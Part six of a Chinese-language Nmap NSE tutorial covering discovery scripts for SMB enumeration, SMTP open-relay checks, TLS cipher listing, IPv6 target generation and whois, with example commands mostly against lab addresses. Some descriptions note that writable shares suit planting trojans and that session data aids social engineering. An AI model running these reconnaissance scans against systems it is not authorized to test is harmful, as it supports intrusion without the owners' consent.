Nmap全脚本使用指南!NSE脚本全详细教程!Kali Linux教程!(六)
脚本类别
discovery(发现)
sip-methods
已演示过。这里不再演示。
436. smb-enum-domains
尝试枚举系统上的域及其策略。这通常需要凭据,但 Windows 2000 除外。除了实际域之外,通常还会显示“内置”域。Windows 在域列表中返回此域,但其策略似乎在任何地方都没有使用。
提供的大部分信息对渗透测试人员很有用,因为它告诉测试人员可以期待哪些类型的策略。例如,如果密码的最小长度为 8,测试人员可以修剪其数据库以匹配;如果最小长度为 14,测试人员可能会开始在人们的显示器上寻找便签。
另一个有用的信息是密码锁定。渗透测试人员通常想知道是否存在对网络产生负面影响的风险,这将表明这一点。显示 SID,这可能在其他工具中有用;列出了用户,它使用与 smb-enum-users.nse 不同的函数(尽管可能不会得到不同的结果),并且域的创建日期和时间可能会提供一些有关其历史记录的见解。
初始绑定到 SAMR 后,调用顺序为:
Connect4:获取 connect_handle
EnumDomains:获取域列表(如果您只想要名称,请在此处停止)。
QueryDomain:获取域的 SID。
OpenDomain:获取每个域的句柄。
QueryDomainInfo2:获取域信息。
QueryDomainUsers:获取域中的用户列表。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --script "smb-enum-domains.nse" -p445 192.168.174.128
sudo nmap -sU -sS --script "smb-enum-domains.nse" -p U:137,T:139 192.168.174.129
437. smb-enum-groups
从远程 Windows 系统获取组列表以及组用户列表。这与使用 /G 开关的 enum.exe 类似。
SAMR 中的以下 MSRPC 函数用于查找组列表及其用户的 RID。请记住,MSRPC 将组称为“别名”。
Bind:绑定到 SAMR 服务。
Connect4:获取连接句柄。
EnumDomains:获取域列表。
LookupDomain:获取域的 RID。
OpenDomain:获取每个域的句柄。
EnumDomainAliases:获取域中的组列表。
OpenAlias:获取每个组的句柄。
GetMembersInAlias:获取组中成员的 RID。
Close:关闭别名句柄。
Close:关闭域句柄。
Close:关闭连接句柄。
一旦 RID 终止,
Bind:绑定到 LSA 服务。
OpenPolicy2:获取策略句柄。
LookupSids2:将 SID 转换为用户名。
我 (Ron Bowes) 最初研究了使用 SAMR 函数 LookupRids2 将 RID 转换为用户名的可能性,但无论我尝试什么,该函数似乎都会返回错误。由于 enum.exe 也切换到 LSA 将 RID 转换为用户名,我认为他们有同样的问题,我做了同样的事情。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap --script "smb-enum-groups" -p445 192.168.174.132
sudo nmap -sU -sS --script "smb-enum-groups" -p U:137,T:139 192.168.174.132
438. smb-enum-processes
通过 SMB 从远程服务器提取进程列表。这将确定所有正在运行的进程、它们的进程 ID 及其父进程。这是通过查询远程注册表服务来完成的,该服务在 Vista 上默认处于禁用状态;在所有其他 Windows 版本上,它需要管理员权限。
由于这需要管理员权限,因此对于渗透测试人员来说并不是特别有用,因为他们可以使用 metasploit 或其他工具有效地执行相同的操作。但是,它确实提供了一种快速获取一组系统的进程列表的方法。
警告:我在对完全修补的 Windows 2000 系统进行注册表调用时遇到了 regsvc.exe 崩溃的情况;我已经修复了导致该问题的问题,但不能保证它(或相同代码中的类似漏洞)不会再次出现。由于该进程会自动重新启动,因此除了向用户显示消息框外,它不会对系统产生负面影响。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap --script "smb-enum-processes.nse" -p445 192.168.174.132
sudo nmap -sU -sS --script "smb-enum-processes.nse" -p U:137,T:139 192.168.174.132
439. smb-enum-services
检索远程 Windows 系统上运行的服务列表。每个服务属性包含每个服务的服务名称、显示名称和服务状态。
注意:现代 Windows 系统需要特权域帐户才能列出服务。
参考:
https://technet.microsoft.com/en-us/library/bb490995.aspx
https://en.wikipedia.org/wiki/Windows_service
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --script "smb-enum-services.nse" -p445 192.168.174.128
sudo nmap --script "smb-enum-services.nse" --script-args "smbusername=Windows 7,smbpass=" -p445 192.168.174.128
440. smb-enum-sessions
枚举本地或通过 SMB 共享登录到系统的用户。本地用户可以在计算机上物理登录,也可以通过终端服务会话登录。例如,连接到文件共享或进行 RPC 调用的人员就是连接到 SMB 共享的连接。Nmap 的连接也会显示出来,通常由“0 秒前”连接的连接标识。
从渗透测试人员的角度来看,SMB 会话可能是此程序最有用的部分,特别是因为它不需要高级别的访问权限。例如,在文件服务器上,可能有十几个或更多的用户同时连接。根据用户名,它可能会告诉测试人员共享中存储了哪些类型的文件。
由于他们连接的 IP 和帐户是公开的,因此此处的信息还可以提供额外的测试目标,以及可能在该目标上有效的用户名。此外,由于给出了强大的用户名与 IP 相关性,它可以促进社会工程攻击。
通过读取远程注册表可以枚举已登录的用户(因此在 Vista 中不起作用,默认情况下会禁用此功能)。存储在 HKEY_USERS 下的键是代表已连接用户的 SID,可以使用 lsar.LsaLookupSids 函数将这些 SID 转换为正确的名称。执行此操作需要高于匿名的访问权限;来宾、用户或管理员都可以在 Windows 2000、XP、2003 和 Vista 上执行此请求。
枚举 SMB 连接是使用 srvsvc.netsessenum 函数完成的,该函数返回已登录的用户名、登录时间以及空闲时间。所需的访问级别因 Windows 版本而异,但在 Windows 2000 中,任何人(包括匿名帐户)都可以访问,而在 Windows 2003 中,需要用户或管理员帐户。
我从 Sysinternals 的工具 PsLoggedOn.exe 中学到了这个理念和技术。我 (Ron Bowes) 使用与他们类似的函数调用(尽管我没有使用他们的源代码),所以非常感谢他们。还要感谢 Matt Gardenghi 请求此脚本。
警告:我在对完全修补的 Windows 2000 系统进行注册表调用时遇到了 regsvc.exe 崩溃;我已经修复了导致该问题的问题,但不能保证它(或相同代码中的类似漏洞)不会再次出现。由于该过程会自动重新启动,因此除了向用户显示消息框外,它不会对系统产生负面影响。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap --script "smb-enum-sessions.nse" -p445 192.168.174.132
sudo nmap -sU -sS --script "smb-enum-sessions.nse" -p U:137,T:139 192.168.174.132
441. smb-enum-shares
尝试使用 srvsvc.NetShareEnumAll MSRPC 函数列出共享,并使用 srvsvc.NetShareGetInfo 检索有关它们的更多信息。如果拒绝访问这些函数,则检查常用共享名称列表。
查找开放共享对渗透测试人员很有用,因为可能共享了私人文件,或者,如果它是可写的,它可能是放置木马或感染已存在的文件的好地方。知道共享的位置可以使这些类型的测试更有用,但确定共享的位置需要管理员权限。
在 Windows 2000 上匿名运行 NetShareEnumAll,在任何其他 Windows 版本上都需要用户级帐户。调用 NetShareGetInfo 需要在 Windows 2003 及以下所有版本以及 Windows Vista 和 Windows 7(如果 UAC 被关闭)上使用管理员帐户。
即使 NetShareEnumAll 受到限制,尝试连接到共享也始终会显示其存在。因此,如果 NetShareEnumAll 失败,则使用基于大型测试网络的预生成共享列表。如果其中任何一个成功,则记录下来。
找到共享列表后,脚本会尝试匿名连接每个共享,这会将它们分为“匿名”(NULL 用户可以连接的共享)或“受限”(需要用户帐户的共享)。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --script "smb-enum-shares.nse" -p445 192.168.174.128
sudo nmap -sU -sS --script "smb-enum-shares.nse" -p U:137,T:139 192.168.174.128
442. smb-ls
尝试检索有关 SMB 卷上共享的文件的有用信息。输出类似于 UNIX ls 命令的输出。
smb-ls.path
相对于要列出内容的共享的路径(默认值:共享的根目录)
smb-ls.pattern
要执行的搜索模式(默认值:*)
smb-ls.share
(或 smb-ls.shares)要连接的共享(或以冒号分隔的共享列表)(默认值:使用 smb-enum-shares 找到的共享)
smb-ls.checksum
下载每个文件并计算校验和(默认值:false)
ls.checksum、ls.empty、ls.errors、ls.human、ls.maxdepth、ls.maxfiles
请参阅 ls 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap -p 445 192.168.174.128 --script "smb-ls" --script-args 'share=c$,path=\temp'
sudo nmap -p 445 192.168.174.128 --script "smb-enum-shares,smb-ls"
443. smb-mbenum
查询由 Windows 主浏览器管理的信息。
smb-mbenum.format
(可选)如果设置,则更改脚本返回结果的格式。有三种可能的格式:1. 按类型水平排序 2. 按类型垂直排序 3. 按类型垂直排序并显示详细信息(默认)
smb-mbenum.domain
(可选)如果未指定,则列出查询浏览器的域
smb-mbenum.filter
(可选)如果设置,则向浏览器查询特定类型的服务器(@see ServerTypes)
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap -p 445 192.168.174.132 --script "smb-mbenum"
smb-os-discovery
已演示过。这里不再演示。
444. smb-protocols
尝试列出 SMB 服务器支持的协议和方言。
该脚本尝试使用以下方言启动连接:
NT LM 0.12 (SMBv1)
2.0.2 (SMBv2)
2.1 (SMBv2)
3.0 (SMBv3)
3.0.2 (SMBv3)
3.1.1 (SMBv3)
此外,如果发现 SMBv1 已启用,它会将其标记为不安全。此脚本是(已删除)启用 smbv2 的脚本的后继者。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap -p445 --script "smb-protocols" 192.168.174.132
nmap -p139 --script "smb-protocols" 192.168.174.132
smb-security-mode
已演示过。这里不再演示。
445. smb-server-stats
尝试通过 SMB 和 MSRPC 获取服务器的统计数据,使用 TCP 端口 445 或 139。
在大多数 Windows 版本上,需要管理员帐户才能获取这些统计数据,而 Vista 及更高版本需要关闭 UAC。
这里返回的一些数字对我来说感觉不对,但它们绝对是 Windows 返回的数字。请谨慎对待这里的值。
这些统计数据是使用对 SRVSVC 函数 NetServerGetStatistics 的一次调用找到的。Wireshark 错误地解析了此数据包,直到版本 1.0.3(可能更高)。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --script "smb-server-stats.nse" -p445 192.168.174.128
sudo nmap -sU -sS --script "smb-server-stats.nse" -p U:137,T:139 192.168.174.128
446. smb-system-info
从注册表中拉回有关远程系统的信息。获取所有信息需要管理员帐户,尽管用户帐户仍会获取大量信息。Guest 可能不会获取任何信息,匿名用户也不会。这适用于所有操作系统,包括 Windows 2000。
Windows Vista 默认禁用远程注册表访问,因此除非启用该功能,否则此脚本将不起作用。
如果您知道 Windows 注册表中存储的更多信息,可能会很有趣,请向 nmap-dev 邮件列表发送消息,我(Ron Bowes)会将其添加到我的待办事项列表中。向其中添加新检查非常容易。
警告:在对完全修补的 Windows 2000 系统进行注册表调用时,我遇到了 regsvc.exe 崩溃的情况;我已经修复了导致该问题的问题,但不能保证它(或相同代码中的类似漏洞)不会再次出现。由于该过程会自动重新启动,因此除了向用户显示消息框外,它不会对系统产生负面影响。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --script "smb-system-info.nse" -p445 192.168.174.128
sudo nmap -sU -sS --script "smb-system-info.nse" -p U:137,T:139 192.168.174.128
447. smb2-capabilities
尝试列出 SMBv2 服务器中每个启用的方言所支持的功能。
该脚本发送 SMB2_COM_NEGOTIATE 命令并使用 SMB 方言解析响应:
2.0.2
2.1
3.0
3.0.2
3.1.1
参考:
https://msdn.microsoft.com/en-us/library/cc246561.aspx
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap -p 445 --script "smb2-capabilities" 192.168.174.132
nmap -p 139 --script "smb2-capabilities" 192.168.174.132
smb2-security-mode
已演示过。这里不再演示。
smb2-time
已演示过。这里不再演示。
smtp-commands
已演示过。这里不再演示。
smtp-ntlm-info
已演示过。这里不再演示。
448. smtp-open-relay
尝试通过发出预定义的 SMTP 命令组合来中继邮件。此脚本的目的是判断 SMTP 服务器是否容易受到邮件中继攻击。
作为开放中继工作的 SMTP 服务器是一种电子邮件服务器,它不会验证用户是否有权从指定的电子邮件地址发送电子邮件。因此,用户可以发送来自他们想要的任何第三方电子邮件地址的电子邮件。
检查是基于 MAIL FROM 和 RCPT TO 命令的组合进行的。该列表在源文件中硬编码。如果 nmap 处于详细模式,则脚本将输出服务器允许的所有工作组合,否则脚本将打印成功测试的次数。如果服务器需要身份验证,则脚本将不输出。
如果启用了调试并且在测试目标主机时发生错误,则将打印错误以及在错误发生之前发现的任何组合的列表。
smtp-open-relay.ip
使用此参数更改要使用的 IP 地址(默认为目标 IP 地址)
smtp-open-relay.to
定义要使用的目标电子邮件地址(不带域,默认为 Relaytest)
smtp.domain
或 smtp-open-relay.domain 定义要在反垃圾邮件测试和 EHLO 命令中使用的域(默认为 nmap.scanme.org)
smtp-open-relay.from
定义要使用的源电子邮件地址(不带域,默认为反垃圾邮件)
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap --script "smtp-open-relay.nse" --script-args "smtp-open-relay.domain=scanme.nmap.org,smtp-open-relay.ip=192.168.174.132" -p 25,465,587 192.168.174.132
449. sniffer-detect
检查本地以太网上的目标的网卡是否处于混杂模式。
所用技术在 http://www.securityfriday.com/promiscuous_detection_01.pdf 中有描述。
sudo nmap -sV --script=sniffer-detect 192.168.174.128
snmp-hh3c-logins
已演示过。这里不再演示。
snmp-interfaces
已演示过。这里不再演示。
snmp-netstat
已演示过。这里不再演示。
snmp-processes
已演示过。这里不再演示。
snmp-sysdescr
已演示过。这里不再演示。
snmp-win32-services
已演示过。这里不再演示。
snmp-win32-shares
已演示过。这里不再演示。
snmp-win32-software
已演示过。这里不再演示。
socks-auth-info
已演示过。这里不再演示。
socks-open-proxy
已演示过。这里不再演示。
ssh-hostkey
已演示过。这里不再演示。
450. ssh2-enum-algos
报告目标 SSH2 服务器提供的算法数量(用于加密、压缩等)。如果设置了详细程度,则提供的算法将按类型列出。
如果“客户端到服务器”和“服务器到客户端”算法列表相同(顺序指定首选项),则列表在组合类型下仅显示一次。
nmap --script "ssh2-enum-algos" -p22 192.168.174.132
ssl-cert
已演示过。这里不再演示。
451. ssl-cert-intaddr
报告在 SSL 服务证书的各个字段中找到的任何私有 (RFC1918) IPv4 地址。仅当目标地址本身不是私有地址时才会报告这些地址。需要 Nmap v7.30 或更高版本。
tls.servername
请参阅 tls 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
smtp.domain
请参阅 smtp 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
mssql.domain、mssql.instance-all、mssql.instance-name、mssql.instance-port、mssql.password、mssql.protocol、mssql.scanned-ports-only、mssql.timeout、mssql.username
请参阅 mssql 库的文档。
nmap -p 443 --script "ssl-cert-intaddr" bing.com
ssl-date
已演示过。这里不再演示。
452. ssl-enum-ciphers
此脚本反复启动 SSLv3/TLS 连接,每次尝试新的密码或压缩器,同时记录主机是接受还是拒绝它。最终结果是服务器接受的所有密码套件和压缩器的列表。
每个密码套件都显示一个字母等级(A 到 F),表示连接的强度。等级基于密钥交换和流密码的加密强度。消息完整性(哈希)算法选择不是一个因素。以“强度最小”开头的输出行显示提供的最弱密码的强度。评分基于 Qualys SSL Labs SSL 服务器评级指南,但不考虑协议支持(TLS 版本),这占 SSL Labs 评级的 30%。
SSLv3/TLSv1 需要比 SSLv2 付出更多努力来确定服务器支持哪些密码和压缩方法。客户端列出它能够支持的密码和压缩器,服务器将以所选的单个密码和压缩器或拒绝通知进行响应。
一些服务器使用客户端的密码套件排序:它们选择客户端提供的套件中它们也支持的第一个套件。其他服务器更喜欢自己的排序:它们从客户端提供的套件中选择最喜欢的套件。在服务器排序的情况下,脚本会进行额外探测以发现服务器的排序偏好列表。否则,列表按字母顺序排序。
该脚本将警告某些 SSL 错误配置,例如 MD5 签名证书、低质量的临时 DH 参数和 POODLE 漏洞。
此脚本具有侵入性,因为它必须启动与服务器的多个连接,因此非常嘈杂。
建议将此脚本与版本检测 (-sV) 结合使用,以发现在意外端口上运行的 SSL/TLS 服务。对于最常见的 SSL 端口,如 443、25(使用 STARTTLS)、3389 等,该脚本足够智能,可以自行运行。
参考:
Qualys SSL Labs 评级指南 - https://www.ssllabs.com/projects/rating-guide/
mssql.domain、mssql.instance-all、mssql.instance-name、mssql.instance-port、mssql.password、mssql.protocol、mssql.scanned-ports-only、mssql.timeout、mssql.username
请参阅 mssql 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
smtp.domain
请参阅 smtp 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
tls.servername
请参阅 tls 库的文档。
nmap -sV --script "ssl-enum-ciphers" -p 443 bing.com
ssl-known-key
已演示过。这里不再演示。
sstp-discover
已演示过。这里不再演示。
453. stun-info
使用 STUN 协议检索 NAT 主机的外部 IP 地址。
stun.mode
请参阅 stun 库的文档。
sudo nmap -sV -Pn -sU -p 3478 --script "stun-info" ip/域名
454. stuxnet-detect
检测主机是否感染了 Stuxnet 蠕虫 (http://en.wikipedia.org/wiki/Stuxnet)。
如果在命令行中给出了文件名格式,则会下载 Stuxnet 感染的可执行版本。
stuxnet-detect.save
保存 Stuxnet 可执行文件的路径,其中 %h 替换为主机的 IP 地址,%v 替换为 Stuxnet 的版本。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --script "stuxnet-detect" -p 445 ip/域名
455. targets-asn
生成给定路由 AS 编号 (ASN) 的 IP 前缀列表。
此脚本使用 Shadowserver Foundation 运营的 whois 服务器数据库。我们感谢他们授予我们在 Nmap 中使用此数据库的权限。
输出采用 CIDR 表示法。
http://www.shadowserver.org/wiki/pmwiki.php/Services/IP-BGP
target-asn.whois_port
要使用的 whois 端口。默认值:43。
targets-asn.whois_server
要使用的 whois 服务器。默认值:asn.shadowserver.org。
targets-asn.asn
要搜索的 ASN。
max-newtargets、newtargets
请参阅目标库的文档。
nmap --script "targets-asn" --script-args "targets-asn.asn=32"
456. targets-ipv6-eui64
注意:该脚本默认是并没安装的。使用前请先安装此脚本。建议挂代理安装。
sudo wget https://svn.nmap.org/nmap/scripts/targets-ipv6-eui64.nse
此脚本在预扫描阶段运行,将 48 位 MAC 地址转换为 EUI-64 IPv6 地址,这些地址通常用于自动配置。生成的地址可以添加到扫描队列中。
用作输入的 MAC 地址是从由 target-ipv6-eui64.input script-arg 命名的文件中读取的。这些地址的良好来源是 IPv4 主机发现 Nmap 扫描。
target-ipv6-eui64.input
每行包含 1 个 MAC 地址的输入文件
targets-ipv6-subnet
带前缀的表/单个 IPv6 地址(例如 2001:db8:c0ca::/48 或 { 2001:db8:c0ca::/48, 2001:db8:FEA::/48 })默认值:fe80::/64
max-newtargets, newtargets
请参阅目标库的文档。
nmap -6 --script "targets-ipv6-eui64" --script-args "newtargets,targets-ipv6-eui64.input=macs.txt,targets-ipv6-subnet={2001:db8:c0ca::/64}"
457. targets-ipv6-map4to6
此脚本在预扫描阶段运行,将 IPv4 地址映射到 IPv6 网络并将其添加到扫描队列。
该技术比技术上称为“IPv4 映射的 IPv6 地址”更通用。IPv6 网络地址的低 4 个字节被替换为 IPv4 地址的 4 个字节。当 IPv6 网络为 ::ffff:0:0/96 时,脚本会生成 IPv4 映射的 IPv6 地址。当网络为 ::/96 时,它会生成与 IPv4 兼容的 IPv6 地址。
target-ipv6-map4to6.IPv4Hosts
脚本必须至少有一个 IPv4 主机才能运行(例如 192.168.1.1 或 { 192.168.1.1, 192.168.2.2 } )或子网地址(192.168.1.0/24 或 { 192.168.1.0/24, 192.168.2.0/24 } )
targets-ipv6-subnet
带前缀的表/单个 IPv6 地址(例如 2001:db8:c0ca::/48 或 { 2001:db8:c0ca::/48, 2001:db8:FEA::/48 })
max-newtargets, newtargets
请参阅目标库的文档。
nmap -6 --script "targets-ipv6-map4to6" --script-args "newtargets,targets-ipv6-map4to6.IPv4Hosts={192.168.174.0/24},targets-ipv6-subnet={2001:db8:c0ca::/64}"
targets-ipv6-multicast-echo
已演示过。这里不再演示。
targets-ipv6-multicast-invalid-dst
已演示过。这里不再演示。
targets-ipv6-multicast-mld
已演示过。这里不再演示。
targets-ipv6-multicast-slaac
已演示过。这里不再演示。
458. targets-ipv6-wordlist
使用构成给定子网地址的十六进制“单词”的单词列表将 IPv6 地址添加到扫描队列。
target-ipv6-wordlist.nsegments
数字用户可以精确地指示 16 位段上的字的大小。
targets-ipv6-wordlist.fillright
使用此参数,脚本将向右填充剩余的零,而不是向左填充(2001:db8:c0a:dead:: 而不是 2001:db8:c0ca::dead)
targets-ipv6-subnet
带前缀的表/单个 IPv6 地址(例如 2001:db8:c0ca::/48 或 { 2001:db8:c0ca::/48, 2001:db8:FEA::/48 } )
targets-ipv6-wordlist.wordlist
包含用于构建地址的十六进制字的文件,每行一个。默认值:nselib/data/targets-ipv6-wordlist
max-newtargets,newtargets
请参阅目标库的文档。
nmap -6 -p 80 --script "targets-ipv6-wordlist" --script-args "newtargets,targets-ipv6-subnet={2001:db8:c0ca::/64}"
targets-sniffer
已演示过。这里不再演示。
459. targets-traceroute
将跟踪路由跳数插入 Nmap 扫描队列。只有使用 Nmap 的 --traceroute 选项并给出 newtargets 脚本参数时,它才有效。
newtargets
如果指定,则将跟踪路由跳数添加到 Nmap 扫描队列。
max-newtargets
请参阅目标库的文档。
sudo nmap --script "targets-traceroute" --script-args "newtargets" --traceroute 192.168.174.132
460. telnet-encryption
确定远程 telnet 服务器上是否支持加密选项。某些系统(包括 FreeBSD 和许多 Linux 发行版中提供的 krb5 telnetd)错误地实现了此选项,导致远程 root 漏洞。此脚本当前仅测试是否支持加密,而不是针对该特定漏洞。
参考资料:
FreeBSD 公告:http://lists.freebsd.org/pipermail/freebsd-announce/2011-December/001398.html
FreeBSD 漏洞:http://www.exploit-db.com/exploits/18280/
RedHat Enterprise Linux 公告:https://rhn.redhat.com/errata/RHSA-2011-1854.html
nmap -p 23 192.168.174.132 --script "telnet-encryption"
telnet-ntlm-info
已演示过。这里不再演示。
461. tftp-enum
通过测试常用文件名列表来枚举 TFTP(简单文件传输协议)文件名。
TFTP 不提供目录列表。此脚本尝试从列表中检索文件名。该列表由文件 tftplist.txt 中的静态名称以及根据目标地址更改的 Cisco 设备配置文件名组成,对于 IP 地址 A.B.C.D,其格式为 A.B.C.X-confg,对于 X,其格式为 0 到 255。
使用 tftp-enum.filelist 脚本参数搜索其他静态文件名。
此脚本是来自 http://code.google.com/p/tftptheft/ 的 tftptheft 的重新实现。
filelist
- 文件名,其中包含要在 tftp 服务器上枚举的文件名列表
sudo nmap -sU -p 69 --script "tftp-enum.nse" --script-args "tftp-enum.filelist=customlist.txt" 192.168.174.132
tls-alpn
已演示过。这里不再演示。
tls-nextprotoneg
已演示过。这里不再演示。
462. tn3270-screen
连接到 tn3270“服务器”并返回屏幕。
隐藏字段将以(行、列)坐标列在屏幕下方。
tn3270-screen.commands
打印屏幕前要发出的命令列表,以分号分隔 tn3270-screen.lu 指定要使用的逻辑单元,如果无法连接则失败 tn3270-screen.disable_tn3270e 禁用 TN3270 增强模式
sudo nmap --script "tn3270-screen" -p60000 ip/域名
463. traceroute-geolocation
列出跟踪路由中每一跳的地理位置,并可选择将结果保存到 KML 文件,可在 Google 地球和地图上绘制。
traceroute-geolocation.kmlfile
要写入 KML 数据的文件的完整路径和名称。KML 文件可用于 Google Earth 或地图来绘制跟踪路由数据。
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --traceroute --script "traceroute-geolocation" 192.168.174.132
ubiquiti-discovery
已演示过。这里不再演示。
upnp-info
已演示过。这里不再演示。
ventrilo-info
已演示过。这里不再演示。
464. versant-info
从 Versant 对象数据库中提取信息,包括文件路径、版本和数据库名称。
sudo nmap -p 5019 ip/域名 --script "versant-info"
465. vmware-version
查询 VMware 服务器 (vCenter、ESX、ESXi) SOAP API 以提取版本信息。
与 Claudio Criscione、Paolo Canaletti 创建的 VASTO 中的 VMware Fingerprinter 相同的脚本
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --script "vmware-version" 192.168.174.128
vnc-info
已演示过。这里不再演示。
466. vnc-title
尝试登录 VNC 服务器并获取其桌面名称。使用 vnc-brute 发现的凭据或 None 身份验证类型。如果 realvnc-auth-bypass 运行并返回 VULNERABLE,则此脚本将使用该漏洞绕过身份验证。
creds.[service], creds.global
请参阅 creds 库的文档。
nmap -sV --script=vnc-title 192.168.174.132
467. voldemort-info
使用 Voldemort 本机协议从 Voldemort 分布式键值存储中检索集群并存储信息。
sudo nmap -p 6666 --script "voldemort-info" ip/域名
468. vuze-dht-info
从 Vuze 文件共享节点检索一些基本信息,包括协议版本。
由于 Vuze 没有其 DHT 服务的默认端口,因此此脚本在确定何时运行时会遇到一些困难。大多数脚本都是由默认端口或指纹服务触发的。为了解决这个问题,有两个选项:1. 始终运行版本扫描,以识别 vuze-dht 服务以触发脚本。2. 通过设置参数 vuze-dht-info.allports 强制脚本针对每个端口运行
vuze-dht-info.allports
如果设置,则针对每个开放端口运行此脚本
sudo nmap -sU -p 17555 ip/域名 --script "vuze-dht-info" -sV
wdb-version
已演示过。这里不再演示。
weblogic-t3-info
已演示过。这里不再演示。
469. whois-domain
尝试检索有关目标域名的信息
nmap --script "whois-domain.nse" -p80 ip/域名
470. whois-ip
查询区域互联网注册中心 (RIR) 的 WHOIS 服务并尝试检索包含目标 IP 地址的 IP 地址分配信息。
显示的字段包含有关分配和负责管理地址空间的组织的信息。当在 Nmap 命令行 (-v) 上请求输出详细程度时,将显示有关分配的额外信息。
为了确定要查询给定目标 IP 地址的哪个 RIR,此脚本使用由 IANA 托管的分配数据。数据在本地缓存,然后解析以用作查找表。本地缓存的文件会定期刷新,以帮助确保数据是最新的。如果出于任何原因,这些文件不适用于脚本,则将依次查询默认的 Whois 服务序列,直到:找到所需的记录;或找到对另一个(定义的)Whois 服务的引用;或直到序列用尽而未找到引用或所需的记录。
如果脚本中定义了另一个 Whois 服务,则脚本将识别对该服务的引用,并继续向引用的服务发送查询。如果记录不包含引用,则假定该记录是所需记录。
为了减少发送到 Whois 服务的不必要查询数量,使用记录缓存,并且缓存中的条目可以应用于记录中表示的地址范围内的任何目标。
在某些情况下,缓存响应的能力会阻止发现适用于目标的其他较小的 IP 地址分配,因为缓存的响应优先于发送 Whois 查询。当确保检索有关 IP 地址分配的最准确信息很重要时,应使用脚本参数 whodb 并将其设置为“nocache”(参见脚本参数)。这会将可能使用缓存记录的地址范围缩小到有助于确保发现较小分配的大小。应谨慎使用此选项,因为可能会发送大量 whois 查询,并可能被禁止使用这些服务。
使用此脚本时,您的 IP 地址将被发送到 iana.org。此外,您的地址和扫描目标的地址将被发送到其中一个 RIR。
whodb
取下列任意值,这些值可以组合使用:
whodb=nofile 阻止使用 IANA 分配数据,而是查询默认服务。
whodb=nofollow 忽略引用,而是显示获得的第一个记录。
whodb=nocache 当缓存中的记录适用于大范围的地址时,阻止接受缓存中的记录。
whodb=[service-ids] 重新定义要查询的默认服务。暗示 nofile。
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
#基本用法
nmap scanme.nmap.org --script "whois-ip"
#为了防止使用 IANA 分配数据,请将 nofile 值提供给 whodb 参数
nmap scanme.nmap.org --script "whois-ip" --script-args "whodb=nofile"
nmap scanme.nmap.org --script "whois-ip" --script-args "whois.whodb=nofile"
#提供一系列 whois 服务还将阻止使用 IANA 分配数据并覆盖默认序列:
nmap scanme.nmap.org --script "whois-ip" --script-args "whodb=arin+ripe+afrinic"
nmap scanme.nmap.org --script "whois-ip" --script-args "whois.whodb=apnic*lacnic"
#提供服务的顺序就是查询服务的顺序。(注意:不应使用逗号或分号来分隔参数值。)
#为了返回获得的第一个记录,即使它包含对另一个服务的推荐,也要向 whodb 提供 nofollow 值:
nmap scanme.nmap.org --script "whois-ip" --script-args "whodb=nofollow"
nmap scanme.nmap.org --script "whois-ip" --script-args "whois.whodb=nofollow+ripe"
#请注意,只有一项服务(第一个提供的服务)将与 nofollow 结合使用。
#为了确保即使缓存中存在较大的分配也能发现较小的分配,请向 whodb 提供 nocache 值:
nmap scanme.nmap.org --script "whois-ip" --script-args "whodb=nocache"
